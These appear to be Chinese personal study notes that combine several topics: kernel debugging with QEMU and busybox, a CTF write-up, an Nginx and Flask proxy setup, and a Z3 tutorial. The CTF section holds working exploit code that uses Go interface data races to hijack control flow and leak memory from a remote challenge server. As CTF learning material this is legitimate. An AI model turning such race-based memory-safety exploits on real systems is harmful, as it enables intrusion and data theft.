double free发生的原理：

https://blog.csdn.net/swartz_lubel/article/details/79493020

使用拷贝构造去解决：

https://www.cnblogs.com/alantu2018/p/8459250.html

前言

环境搭建在虚拟机ubuntu16.04下进行（vm配置开启cpu虚拟化）

一般内核调试需要的东西就是内核镜像和磁盘镜像，不同版本的内核就用不同版本的内核镜像。而需要什么文件就调整磁盘镜像。

安装依赖

sudo apt-get update
sudo apt-get install qemu git libncurses5-dev fakeroot build-essential ncurses-dev xz-utils libssl-dev bc

内核镜像

下载内核源码：

linux各个版本内核源码可以从这下载：https://www.kernel.org/

这里用这个版本：https://mirrors.edge.kernel.org/pub/linux/kernel/v4.x/linux-4.15.tar.gz

解压进入

tar -xzvf linux-4.15.tar.gz
cd linux-4.15

设置编译选项

make menuconfig

勾选以下项目：

1. Kernel debugging
2. Compile-time checks and compiler options —> Compile the kernel with debug info和Compile the kernel with frame pointers
3. KGDB

然后保存退出

开始编译

make bzImage

成功信息类似这样：

Setup is 17244 bytes (padded to 17408 bytes).
System is 7666 kB
CRC 5c77cbfe
Kernel: arch/x86/boot/bzImage is ready  (#1)

从源码根目录取到vmlinux，从arch/x86/boot/取到bzImage

磁盘镜像

编译busybox

BusyBox 是一个集成了三百多个最常用Linux命令和工具的软件。BusyBox 包含了一些简单的工具，例如ls、cat和echo等等，还包含了一些更大、更复杂的工具，例grep、find、mount以及telnet。有些人将 BusyBox 称为 Linux 工具里的瑞士军刀。简单的说BusyBox就好像是个大工具箱，它集成压缩了 Linux 的许多工具和命令，也包含了 Android 系统的自带的shell。

这里busybox的作用主要是搭建一个简易的initranfs

下载源码：https://busybox.net/

用1.28.4测试：http://busybox.net/downloads/busybox-1.28.4.tar.bz2

解压进入目录：

tar jxvf busybox-1.28.4.tar.bz2
cd busybox-1.28.4

设置编译选项：

选中：Build static binary (no shared libs)

开始编译：

make install -j4

打包出rootfs.img磁盘镜像

busybox编译完成后，进入源码目录下新增的_install目录

先建立好文件系统：

cd _install
mkdir -pv {bin,sbin,etc,proc,sys,usr/{bin,sbin}}

运行：vim etc/inittab

添加以下内容：

::sysinit:/etc/init.d/rcS
::askfirst:/bin/ash
::ctrlaltdel:/sbin/reboot
::shutdown:/sbin/swapoff -a
::shutdown:/bin/umount -a -r
::restart:/sbin/init

运行：mkdir etc/init.d;vim etc/init.d/rcS

添加以下内容：

#!/bin/sh
mount -t proc none /proc
mount -t sys none /sys
/bin/mount -n -t sysfs none /sys
/bin/mount -t ramfs none /dev
/sbin/mdev -s

还可以在fs根目录创建init文件，写入初始化指令，并添加执行权限：

#!/bin/sh
echo "{==DBG==} INIT SCRIPT"
mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t debugfs none /sys/kernel/debug
mount -t tmpfs none /tmp
# insmod /xxx.ko # load ko
mdev -s # We need this to find /dev/sda later
echo -e "{==DBG==} Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
setsid /bin/cttyhack setuidgid 1000 /bin/sh #normal user
# exec /bin/sh #root

这一步主要配置各种目录的挂载

添加执行权限：chmod +x ./etc/init.d/rcS

打包出rootfs.img

在_install目录下执行：

find . | cpio -o --format=newc > ~/core/rootfs.img
gzip -c ~/core/rootfs.img > ~/core/rootfs.img.gz

文件系统镜像被打包存放在了/home/{username}/core/目录下

用qemu启动

配置启动参数

创建一个新的目录将准备好的bzImage和rootfs.img放入，然后编写一个boot.sh

boot.sh的编写可以参考qemu的各个参数：

qemu-system-x86_64 \
-m 256M \
-kernel ./bzImage \
-initrd  ./rootfs.img \
-smp 1 \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 nokaslr quiet" \
-s  \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \

部分参数解释：

• -m 指定内存大小
• -kernel 指定内核镜像路径
• -initrd 指定磁盘镜像路径
• -s 是GDB调试参数，默认会开启1234端口便于remote调试
• cpu 该选项可以指定保护模式

运行boot.sh即可启动系统

几种常见的保护

canary, dep, PIE, RELRO 等保护与用户态原理和作用相同

• smep: Supervisor Mode Execution Protection，当处理器处于 ring0 模式，执行 用户空间 的代码会触发页错误。（在 arm 中该保护称为 PXN）

• smap: Superivisor Mode Access Protection，类似于 smep，通常是在访问数据时。

• mmap_min_addr

如何向其中添加文件？

方法1

1. 解压磁盘镜像：cpio -idv < ./initramfs.img

2. 重打包：find . | cpio -o --format=newc > ../new_rootfs.img

方法2

借助base64编码从shell中直接写入（适用于写exp等）

GDB调试

gdb
pwndbg> set arch i386:x86-64
pwndbg> target remote localhost:1234

查看函数地址

#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev

exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid /bin/cttyhack setuidgid 0 /bin/sh
umount /proc
umount /sys
poweroff -d 0  -f

加载第三方ko

调试ko

#!/bin/sh
gdb \
-ex "target remote localhost:1234" \
-ex "continue" \
-ex "disconnect" \
-ex "set architecture i386:x86-64:intel" \
-ex "target remote localhost:1234" \
-ex "add-symbol-file ./busybox/baby.ko 0xdeadbeef" \

qemu pci设备相关

查看PCI设备信息

1. lspci: 显示当前主机的所有PCI总线信息，以及所有已连接的PCI设备基本信息;

ubuntu@ubuntu:~$ lspci
00:00.0 Host bridge: Intel Corporation 440FX - 82441FX PMC [Natoma] (rev 02)
00:01.0 ISA bridge: Intel Corporation 82371SB PIIX3 ISA [Natoma/Triton II]
00:01.1 IDE interface: Intel Corporation 82371SB PIIX3 IDE [Natoma/Triton II]
00:01.3 Bridge: Intel Corporation 82371AB/EB/MB PIIX4 ACPI (rev 03)
00:02.0 VGA compatible controller: Device 1234:1111 (rev 02)
00:03.0 Unclassified device [00ff]: Device 1234:11e9 (rev 10)
00:04.0 Ethernet controller: Intel Corporation 82540EM Gigabit Ethernet Controller (rev 03)

最右边的值如1234:11e9是vendor_id:device，可以在IDA中查看xxxx_class_init函数来确定设备的vendor_id:device。然后进入系统中使用lspci，就可以对应上了。

ubuntu@ubuntu:~$ lspci -t -v
-[0000:00]-+-00.0  Intel Corporation 440FX - 82441FX PMC [Natoma]
           +-01.0  Intel Corporation 82371SB PIIX3 ISA [Natoma/Triton II]
           +-01.1  Intel Corporation 82371SB PIIX3 IDE [Natoma/Triton II]
           +-01.3  Intel Corporation 82371AB/EB/MB PIIX4 ACPI
           +-02.0  Device 1234:1111
           +-03.0  Device 1234:11e9
           \-04.0  Intel Corporation 82540EM Gigabit Ethernet Controller

ubuntu@ubuntu:~$ lspci -v -m -n -s 00:03.0
Device: 00:03.0
Class:  00ff
Vendor: 1234
Device: 11e9
SVendor:        1af4
SDevice:        1100
PhySlot:        3
Rev:    10

ubuntu@ubuntu:~$ lspci -v -m -s 00:03.0
Device: 00:03.0
Class:  Unclassified device [00ff]
Vendor: Vendor 1234
Device: Device 11e9
SVendor:        Red Hat, Inc
SDevice:        Device 1100
PhySlot:        3 
Rev:    10

ubuntu@ubuntu:~$ lspci -v -s 00:03.0 -x
00:03.0 Unclassified device [00ff]: Device 1234:11e9 (rev 10)
        Subsystem: Red Hat, Inc Device 1100
        Physical Slot: 3
        Flags: fast devsel
        /*这里显示的是MMIO空间的基址和大小*/
        Memory at febf1000 (32-bit, non-prefetchable) [size=256]
        /*这里显示的是PMIO空间的基址和大小*/
        I/O ports at c050 [size=8]
00: 34 12 e9 11 03 01 00 00 10 00 ff 00 00 00 00 00
10: 00 10 bf fe 51 c0 00 00 00 00 00 00 00 00 00 00
20: 00 00 00 00 00 00 00 00 00 00 00 00 f4 1a 00 11
30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

0x00000000febd6000 0x00000000febd6fff 0x0000000000040200
0x00000000febd0000 0x00000000febd3fff 0x0000000000140204
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000

一道google题

golang相关

一些特性

• golang默认是静态编译，而且系统ASLR不作用在goroutine自己实现和维护的栈上。从这题上看，main调用了hack，所以对hack的改动不会影响main中数据在栈上的偏移。只要先在本地计算出hack第一个变量和flag之间的偏移，就可以计算出远程环境中flag在栈上的位置。
• goroutine的模型大概如下（知乎看到的）：
  
  
  • 
  • M是系统线程，P是上下文，G是一个goroutine。具体实现请移步：https://www.zhihu.com/question/20862617
  • 创建goroutine很容易，只需要go function_name()即可
• 题目不允许import包，但是builtin包中有println可以用来打印信息（打印变量地址或值）

go中的数据结构

实现本题要用到的数据结构不多，只介绍go中常用于data race的数据结构

更详细的资料请移步文档：https://studygolang.com/pkgdoc

Struct

基本定义如下：

type struct_name struct {
    name type
}

Go 语言中没有类的概念，因此在 Go 中结构体有着更为重要的地位。结构体是复合类型(composite types)，当需要定义一个类型，它由一系列属性组成，每个属性都有自己的类型和值的时候，就应该使用结构体，它把数据聚集在一起。

Interface

interface是一组method的集合，是duck-type programming的一种体现。接口做的事情就像是定义一个协议（规则），只要一台机器有洗衣服和甩干的功能，我就称它为洗衣机。不关心属性（数据），只关心行为（方法）。

接口（interface）也是一种类型。

一个对象只要全部实现了接口中的方法，那么就实现了这个接口。换句话说，接口就是一个需要实现的方法列表。

例子：

// Sayer 接口
type Sayer interface {
    say()
}

type dog struct {}

type cat struct {}

// dog实现了Sayer接口
func (d dog) say() {
    fmt.Println("汪汪汪")
}

// cat实现了Sayer接口
func (c cat) say() {
    fmt.Println("喵喵喵")
}

func main() {
    var x Sayer // 声明一个Sayer类型的变量x
    a := cat{}  // 实例化一个cat
    b := dog{}  // 实例化一个dog
    x = a       // 可以把cat实例直接赋值给x
    x.say()     // 喵喵喵
    x = b       // 可以把dog实例直接赋值给x
    x.say()     // 汪汪汪
}

可以看到，实现了接口方法的结构体变量可以赋值给接口变量，然后可以用该接口来调用被实现的方法。

值接收者和指针接收者实现接口的区别（这里不是很清楚，建议自己查）：

当值接收者实现接口：

func (d dog) move() {
    fmt.Println("狗会动")
}

func main() {
    var x Mover
    var wangcai = dog{} // 旺财是dog类型
    x = wangcai         // x可以接收dog类型
    var fugui = &dog{}  // 富贵是*dog类型
    x = fugui           // x可以接收*dog类型
    x.move()
}

可以发现：使用值接收者实现接口之后，不管是dog结构体还是结构体指针*dog类型的变量都可以赋值给该接口变量。因为Go语言中有对指针类型变量求值的语法糖，dog指针fugui内部会自动求值*fugui。

注意

当指针接收者实现接口：

func (d *dog) move() {
    fmt.Println("狗会动")
}
func main() {
    var x Mover
    var wangcai = dog{} // 旺财是dog类型
    x = wangcai         // x不可以接收dog类型
    var fugui = &dog{}  // 富贵是*dog类型
    x = fugui           // x可以接收*dog类型
}

此时实现Mover接口的是*dog类型，所以不能给x传入dog类型的wangcai，此时x只能存储*dog类型的值。

Slice

切片是数组的一个引用，因此切片是引用类型。但自身是结构体，值拷贝传递。

切片的底层数据结构：

type slice struct {  
    array unsafe.Pointer
    len   int
    cap   int
}

array是被引用的数组的指针，len是引用长度，cap是最大长度（也就是数组的长度）

Data race

比赛结束的时候查到这篇博客：http://wiki.m4p1e.com/article/getById/90

以及它的引用（讲得比较好，建议看这个）：https://blog.stalkr.net/2015/04/golang-data-races-to-break-memory-safety.html

这两篇博客解释了data race的原理

interface既然可以接收不同的实现了接口方法的接口题变量，那么它一定是一种更为抽象的数据结构，我将其粗略描述为如下：

type Interface struct{
    type **uintptr
    data **uintptr
}

所以在给接口变量传值的过程中实际上发生了两次数据转移操作，一次转移到type，一次转移到data。而这个转移操作并不是原子的。意味着，如果在一个goroutine中频繁对接口变量交替传值，在另一个goroutine中调用该接口的方法，就可能出现下面的情况：

• （正常）type和data正好都是A或B struct的type和data
• （异常）type和data分别是A和B struct的type和data，如下：

{
    type --> B type
    data --> A date --> value f
}

而调用接口时是通过判断type来确定方法的具体实现，这就出现了调用B实现的方法来操作A中数据的错误情况。

看博客中的例子就明白了：

package main

import (
    "fmt"
    "os"
    "runtime"
    "strconv"
)

func address(i interface{}) int {
    addr, err := strconv.ParseUint(fmt.Sprintf("%p", i), 0, 0)
    if err != nil {
        panic(err)
    }
    return int(addr)
}

type itf interface {
    X()
}

type safe struct {
    f *int
}

func (s safe) X() {}

type unsafe struct {
    f func()
}

func (u unsafe) X() {
    if u.f != nil {
        u.f()
    }
}

func win() {
    fmt.Println("win", i, j)
    os.Exit(1)
}

var i, j int

func main() {
    if runtime.NumCPU() < 2 {
        fmt.Println("need >= 2 CPUs")
        os.Exit(1)
    }
    var confused, good, bad itf
    pp := address(win)
    good = &safe{f: &pp}
    bad = &unsafe{}
    confused = good
    go func() {
        for {
            confused = bad
            func() {
                if i >= 0 { 
                    return
                }
                fmt.Println(confused)
            }()
            confused = good
            i++
        }
    }()
    for {
        confused.X()
        j++
    }
}

这里暂且不管作者实现的address这个小trick

在main中启动了一个goroutine，其中不断交叉对confused传值，其中bad是unsafe类型，good是safe类型。当条件竞争发生，confused的type指向bad，而data还是good。当原来的routine调用confused中的X方法时就会把good中的*int值当作函数指针来调用。如果控制这个值为我们想要的函数的地址如win，就可以实现程序流劫持。

赛题

题目分析

回到题目本身：

package main

func main() {
        flag := []int64{0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}
        for i, v := range flag {
                flag[i] = v + 1
        }
        hack()
}

func hack() {
    /*code*/
}

地址泄露过程：
- 本地构造好EXP框架后，打印出flag首元素地址
- 去掉main中的println语句，然后打印hack中栈变量的地址
- 计算两地址差值作为偏移
- 打印出远程环境中hack栈变量的地址
- 用之前的偏移计算出flag首元素的地址
- 注意：
-- go版本一定要和远程对上
-- 虽然main中的println不影响flag的地址，但是会影响hack中栈变量的地址
-- 实测发现如果不把EXP框架构造好直接打印hack栈变量的地址计算出的偏移是不对的，也许编译期间有一些我不知道的机制在里面。

不做过多演示

接下来问题的关键在于泄露一个已知地址上的值应如何实现。

而golang在不使用unsafe包时不允许把已知的整数值地址，转换为指针进行读写操作。于是需要用条件竞争，来绕过这个限制，从而泄露出我们自定义地址保存的的值。

EXP：

from pwn import *
import time

code_base = '''
func hack(){
    println("exp start...")
    a := "123"
    println(&a) 
    var confused, good, bad itf
    pp := 0xc82003ddc0 - 0x8200117d8 + 0x8*{{offset}} 
    good = &safe{f: pp}
    bad = &unsafe{}
    confused = good    
    go func() {
        for {
            confused = bad
            func() {
                if i >= 0 {
                    return
                }
                println(confused)
            }()
            confused = good
            i++
        }
    }()
    for {
        confused.X()
        j++
    }
    println("exp stop...")
}

var i, j int

type safe struct {
    f int
}

type unsafe struct {
    f *int
}

type itf interface {
    X()
}

func (s safe) X() {}

func (u unsafe) X() {
    if u.f != nil {
        println("AAAA")
        println(*u.f)
    }
}
#'''

flag = ""

for i in range(45):
    p = remote("123.56.96.75", 30775)
    #context.log_level = "debug"
    p.recvuntil(b"[*] Now give me your code: \n")
    print(str())
    code = code_base.replace('{{offset}}', str(i))
    p.sendline(code)
    p.recvuntil(b"AAAA\n")
    chr_int = int(p.recvuntil(b"\n", drop=True), 10)
    flag += chr(chr_int - 1)
    p.close()
    print(flag)

print("flag:", flag)

单独看其中code_base部分

func hack(){
    println("exp start...")
    a := "123"
    println(&a) //用于地址泄露
    var confused, good, bad itf
    pp := 0xc82003ddc0 - 0x8200117d8 + 0x8*{{offset}} //远程环境下flag每一个元素的地址
    good = &safe{f: pp}
    bad = &unsafe{}
    confused = good    
    go func() {
        for {
            confused = bad
            func() {
                if i >= 0 {
                    return
                }
                println(confused)
            }()
            confused = good
            i++
        }
    }()
    for {
        confused.X()
        j++
    }
    println("exp stop...")
}

var i, j int

type safe struct {
    f int
}

type unsafe struct {
    f *int
}

type itf interface {
    X()
}

func (s safe) X() {}

func (u unsafe) X() {
    if u.f != nil {
        println("AAAA")
        println(*u.f)
    }
}

其中safe结构中有int类型的f，而unsafe结构中有*int类型的f。并且unsafe实现了接口itf的X方法，该方法输出f *int指针保存的值。在条件竞争时，如果confused中type为unsafe，而data为bad中的数据（创建bad的时候f被赋值为flag元素的地址），这时调用confused的X方法就会打印出flag元素地址中的值了。

最后python统一接收处理得出flag。

使用Nginx反向代理Flask静态资源
环境：Ubuntu 18.04

实现原理

如果flask项目里面有大量静态资源，可以尝试使用Nginx代理对静态资源的请求，把真正的动态请求转发给Flask。

比如：
flask在127.0.0.1监听8001端口，而Nginx配置为监听0.0.0.0的8000端口，那么在外部请求hostname:8000时就会把动态请求转发到8001上，而静态资源请求则直接代理至储存静态资源的目录下。

Nginx配置

安装

apt install nginx

配置文件路径

1. 存放全局配置：/etc/nginx/nginx.conf
2. 存放单个server配置：/etc/nginx/conf.d/xxx-xxx-xxx.conf
   > 这个目录下的配置默认被1中的配置文件include了，所以可以单独编辑

* 注意Nginx配置文件的内层块是会继承外层块的属性的

具体配置内容

nginx.conf

• 其中每个配置项都大有讲究，单这里重点标记反代flask要注意的
• 如果在运行中改变了配置文件可以用nginx -s reload重载

#default: www-data
#这里要注意，运行nginx的用户需要和flask保持一致（这里个人原因用了root），否则会发生权限错误
user root;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;

events {
    worker_connections 768;
    # multi_accept on;
}

http {
    sendfile on;
    tcp_nopush on;
    tcp_nodelay on;
    keepalive_timeout 65;
    types_hash_max_size 2048;
    # server_tokens off;

    # server_names_hash_bucket_size 64;
    # server_name_in_redirect off;

    include /etc/nginx/mime.types;
    default_type application/octet-stream;

    ##
    # SSL Settings
    ##

    ssl_protocols TLSv1 TLSv1.1 TLSv1.2; # Dropping SSLv3, ref: POODLE
    ssl_prefer_server_ciphers on;

    ##
    # Logging Settings
    ##

    access_log /var/log/nginx/access.log;
    error_log /var/log/nginx/error.log;

    ##
    # Gzip Settings
    ##

    gzip on;

    # gzip_vary on;
    # gzip_proxied any;
    # gzip_comp_level 6;
    # gzip_buffers 16 8k;
    # gzip_http_version 1.1;
    # gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;

    ##
    # Virtual Host Configs
    ##

    include /etc/nginx/conf.d/*.conf;
    #include /etc/nginx/sites-enabled/*;
}

xxx-xxx-xxx.conf

• 这个文件比较重要

server {
    listen      8000; # 对外监听的端口

    root        /root/github/Vision-Ward; #服务器上的项目目录
    server_name arm.eqqie.cn; # 域名

    # 处理静态资源:
    #注意这里用了正则表达式，也就是把路由到/static/*的请求都视为对静态资源的请求
    location ~ ^\/static\/.*$ { 
        #这里的root表示静态资源的位置，注意如果按照上面的写法，会在这个路径后拼接上static，所以这里只需要写到static的上层目录即可
        root /root/github/Vision-Ward/app;
    }

    # 动态请求转发到8001端口(gunicorn):
    location / {
        #flask监听的位置（不对外）
        proxy_pass       http://127.0.0.1:8001;
        #这里也很重要，把请求的原始信息暴露给藏在后面的flask，避免其没有办法获取用户真正的ip地址
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header Host $host;
        #建议如果涉及非80端口请求重定向的时候，用下面这种设置，可以避免重定向后端口消失的问题
        #proxy_set_header Host arm.eqqie.cn:8000;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
}

flask配置

• 注意监听地址保持和配置文件中proxy_pass一致
• 然后只需要正常启动flask即可

使用nginx启动服务，如果遇到错误直接复制下来查就会有很多答案。也可以多注意看看log。

• z3作为微软开发的求解器，其提供的接口在很多应用程序和编程语言中都可以使用。
  > z3prover在CHAINSAW和NAVEX中均有使用
• 在这里关键的作用是想要配和CodeQL，通过CodeQL提取路径约束，然后用Z3求解约束
• 其实关于如何用CodeQL提取出可以作为z3输入的约束还是一头雾水...但是这不妨碍先学习z3的使用，说不定可以找到一些灵感完成两者的结合。（应该会有办法的，要不这条研究路线就断了）
• 后期可能需要造一些轮子，这么说来还是需要花挺多时间的（尤其是假期即将结束，需要挺多时间复习开学期考功课）
• 官方使用文档：https://rise4fun.com/z3/tutorialcontent/guide
• z3py功能手册：https://z3prover.github.io/api/html/namespacez3py.html
• z3py使用文档：https://ericpony.github.io/z3py-tutorial/guide-examples.htm
  > 如果二进制版的z3不便于后期结合，还需要花时间学下z3py
• z3所使用的语法标准：http://smtlib.cs.uiowa.edu/papers/smt-lib-reference-v2.6-r2017-07-18.pdf
• 最后，关于细节本文记录得不是很多，所以需要一些基础来阅读

环境安装

编译好的二进制版

1. Github下载最新版：https://github.com/Z3Prover/z3/releases
   
2. 解压后将其中的bin目录添加到环境变量（Unix-like系统可以添加软连接到/usr/bin中）
3. z3 <filename> 使用

z3py

1. pip install z3-prover
2. from z3 import * 使用
   > 注意在z3py中，很多语句被封装成了对象/类方法，但是基本求解逻辑还是一样的，取决于后期打算采用何种形式

基本语法

指令结构

z3指令有一套自己的结构，一般称为三地址码，其遵循的标准在引言中有链接。
基本的构成为 操作符 操作数1 操作数2

常量(constants)和函数(functions)

这是z3指令中最常见的两种结构，然而本质上常量只是作为一个没有参数的函数，其求解结果也以函数结构所表现。

(declare-fun f (Int) Int) ; 这里f是接受Int类型的函数
(declare-fun a () Int) ; a可以看成常量
(declare-const b Int) ; 语法糖写法，声明一个常量

与编程语言中函数不同的是，z3中的函数可以视为一个未解释的公式，不会在运行时抛出异常，也不会出现没有返回值的情况。专业术语将其称之为一阶逻辑或者谓词演算——百度百科。一阶逻辑中的“函数”是“未定义”的，意思就是不存在一种类似于四则运算一般固定的解释模式(model)。只要任何符合约束条件的model，都可以作为一种解释，而check-set就是用来求解的。

很抽象，可以看下面例子大概理解下。

用z3证明 f(f(x)) = x, f(x)=y, x!=y约束的存在性（给出一种可能性解释），并且还定义了一个抽象的类型（sort在z3中表示类型，使用declare-sort定义类型）：

(declare-sort A)
(declare-const x A)
(declare-const y A)
(declare-fun f (A) A)
(assert (= (f (f x)) x))
(assert (= (f x) y))
(assert (not (= x y)))
(check-sat)
(get-model)

需要特别注意下z3函数的使用方式与编程语言不同：编程语言通过(x1,x2,x3)方式传参，而z3将函数视为一个运算符号通过类似三地址码的方式传参 —— 函数符号 x1 x2 x3

输出：

sat
(model
  ;; universe for A:
  ;;   A!val!0 A!val!1
  ;; -----------
  ;; definitions for universe elements:
  (declare-fun A!val!0 () A)
  (declare-fun A!val!1 () A)
  ;; cardinality constraint:
  (forall ((x A)) (or (= x A!val!0) (= x A!val!1)))
  ;; -----------
  (define-fun x () A
    A!val!0)
  (define-fun y () A
    A!val!1)
  (define-fun f ((x!0 A)) A
    (ite (= x!0 A!val!1) A!val!0
      A!val!1))
)

生成的模型为A引入了抽象值。

算数运算

基本运算

z3内置了对于整数和实数等数学类型的支持，而且貌似最新版已经合并了原先的插件——z3str，可以进行字符串处理，关于这部分文档似乎没有详细说明...

declare-const可以用于声明整数和实数常量

如：

(declare-const a Int)
(declare-const b Int)
(declare-const c Int)
(declare-const d Real)
(declare-const e Real)

声明完常量后，就可以在后续的式子中使用这些变量，式子中可以包含常用的数学运算符如:
+ - x div/mod/ram。

check-sat & get-model

check-sat是高频使用的命令，用于对表达式求解，基本上就是为每个常数分配一个数字。如果存在一种解使得所有式子为真，那么结果就为sat，并且称这个解释为一个model，使用get-model可以查看；如果不存在解释，则结果为unsat，也无法获取可行的model。
例子：

(declare-const a Int)
(declare-const b Int)
(declare-const c Int)
(declare-const d Real)
(declare-const e Real)
(assert (> a (+ b 2)))
(assert (= a (+ (* 2 c) 10)))
(assert (<= (+ c b) 1000))
(assert (>= d e))
(check-sat)
(get-model)

输出：

sat
(model
  (define-fun c () Int
    0)
  (define-fun b () Int
    0)
  (define-fun e () Real
    0.0)
  (define-fun d () Real
    0.0)
  (define-fun a () Int
    10)
)

类型转换

在z3中Int类型和Real类型不会自动互相转换，但是借助函数to-Real（参数为一个整数）可以将整数化为实数。
例子：

(assert (> e (+ (to_real (+ a b)) 2.0)))
(assert (= d (+ (to_real c) 0.5)))

非线性运算特性

当式子中有类似(* t s)的实数运算时称为非线性式，这种式子求解极其困难，导致z3在求解非线性问题的时候不一定总能确定是否有解。当无法确定是否可以求解时使用check-sat会返回unknow；当然，部分特殊的非线性式依然可以确定可满足性。
例子：

(declare-const a Int)
(assert (> (* a a) 3))
(check-sat)
(get-model)

(echo "Z3 does not always find solutions to non-linear problems")
(declare-const b Real)
(declare-const c Real)
(assert (= (+ (* b b b) (* b c)) 3.0))
(check-sat)

(echo "yet it can show unsatisfiabiltiy for some nontrivial nonlinear problems...")
(declare-const x Real)
(declare-const y Real)
(declare-const z Real)
(assert (= (* x x) (+ x 2.0)))
(assert (= (* x y) x))
(assert (= (* (- y 1.0) z) 1.0))
(check-sat)

(reset)
(echo "When presented only non-linear constraints over reals, Z3 uses a specialized complete solver")
(declare-const b Real)
(declare-const c Real)
(assert (= (+ (* b b b) (* b c)) 3.0))
(check-sat)
(get-model)

输出：

sat
(model
  (define-fun a () Int
    (- 3))
)
Z3 does not always find solutions to non-linear problems
unknown
yet it can show unsatisfiabiltiy for some nontrivial nonlinear problems...
unsat
When presented only non-linear constraints over reals, Z3 uses a specialized complete solver
sat
(model
  (define-fun b () Real
    (/ 1.0 8.0))
  (define-fun c () Real
    (/ 1535.0 64.0))
)

除法运算

z3支持除法、求模和求余运算，这些运算在底层都会被映射成乘法。

注意在实数除法的时候用符号/，因为实数没有求模和取余。

例子：

(declare-const a Int)
(declare-const r1 Int)
(declare-const r2 Int)
(declare-const r3 Int)
(declare-const r4 Int)
(declare-const r5 Int)
(declare-const r6 Int)
(assert (= a 10))
(assert (= r1 (div a 4))) ; integer division
(assert (= r2 (mod a 4))) ; mod
(assert (= r3 (rem a 4))) ; remainder
(assert (= r4 (div a (- 4)))) ; integer division
(assert (= r5 (mod a (- 4)))) ; mod
(assert (= r6 (rem a (- 4)))) ; remainder
(declare-const b Real)
(declare-const c Real)
(assert (>= b (/ c 3.0)))
(assert (>= c 20.0))
(check-sat)
(get-model)

输出：

sat
(model
  (define-fun c () Real
    20.0)
  (define-fun b () Real
    (/ 20.0 3.0))
  (define-fun r6 () Int
    (- 2))
  (define-fun r5 () Int
    2)
  (define-fun r4 () Int
    (- 2))
  (define-fun r3 () Int
    2)
  (define-fun r2 () Int
    2)
  (define-fun r1 () Int
    2)
  (define-fun a () Int
    10)
)

z3有一个很有意思的地方，就是不会发生除0错误，因为除0操作是未定义的，在求解的时候可以被定义为一个函数。
例如：

(declare-const a Real)
; The following formula is satisfiable since division by zero is not specified.
(assert (= (/ a 0.0) 10.0)) 
(check-sat)
(get-model)

; Although division by zero is not specified, division is still a function.
; So, (/ a 0.0) cannot evaluated to 10.0 and 2.0.
(assert (= (/ a 0.0) 2.0)) 
(check-sat)

输出：

sat
(model
  (define-fun a () Real
    1.0)
  (define-fun /0 ((x!0 Real) (x!1 Real)) Real
    10.0)
)
unsat

如果对上述行为不满意还可以使用ite语句自定义除法规则：

; defining my own division operator where x/0.0 == 0.0 for every x.
(define-fun mydiv ((x Real) (y Real)) Real
  (if (not (= y 0.0))
      (/ x y)
      0.0))
(declare-const a Real)
(declare-const b Real)
(assert (>= (mydiv a b) 1.0))
(assert (= b 0.0))
(check-sat)

关于ite语句：
其实就是if-then-else语句，其结构为(if 条件 真返回值 假返回值)
此处判断被除数是否为0来返回不同结果

位向量

暂略，用到的不多

数组

常用数组操作

• 数组定义：(declare-const a1 (Array Int Int))
  
  

  这是使用了语法糖的定义方式，原生定义方式如下：

  (define-fun a1 () (Array Int Int) [val])
  例如：

  (define-fun a2 () (Array Int Int)
  ((as const (Array Int Int)) 0))
  

• 取出值：(select a i)
  
  

  a-数组；i-下标；返回：a数组下标对应值

• 存入值：(store a i v)
  
  

  a-数组；i-下标；v-新值；返回：数组本身

例子：

(declare-const x Int)
(declare-const y Int)
(declare-const z Int)
(declare-const a1 (Array Int Int))
(declare-const a2 (Array Int Int))
(declare-const a3 (Array Int Int))
(assert (= (select a1 x) x))
(assert (= (store a1 x y) a1))
(check-sat)
(get-model)

输出：

sat
(model
  (define-fun y () Int
    0)
  (define-fun a1 () (Array Int Int)
    (store ((as const (Array Int Int)) 1) 0 0))
  (define-fun x () Int
    0)
  (define-fun z () Int
    0)
  (define-fun a2 () (Array Int Int)
    ((as const (Array Int Int)) 0))
  (define-fun a3 () (Array Int Int)
    ((as const (Array Int Int)) 0))
)

常数数组

当数组中每个索引都指向同一个值就变成了常数数组。可以使用as const (Array T1 T2)结构构造一个常数数组，该结构会返回指定类型的数组。原文档对这块的介绍不是很详细，我提取了主要的语句结构如下：

(declare-const a (Array Int Int))
(assert (= a ((as const (Array Int Int)) 1)))

第一句声明一个数组，第二句用断言的方式将该数组约束为常数数组。
例子：

(declare-const all1 (Array Int Int))
(declare-const a Int)
(declare-const i Int)
(assert (= all1 ((as const (Array Int Int)) 1)))
(assert (= a (select all1 i)))
(check-sat)
(get-model)
(assert (not (= a 1)))
(check-sat)

输出：

sat
(model
  (define-fun a () Int
    1)
  (define-fun all1 () (Array Int Int)
    ((as const (Array Int Int)) 1))
  (define-fun i () Int
    0)
)
unsat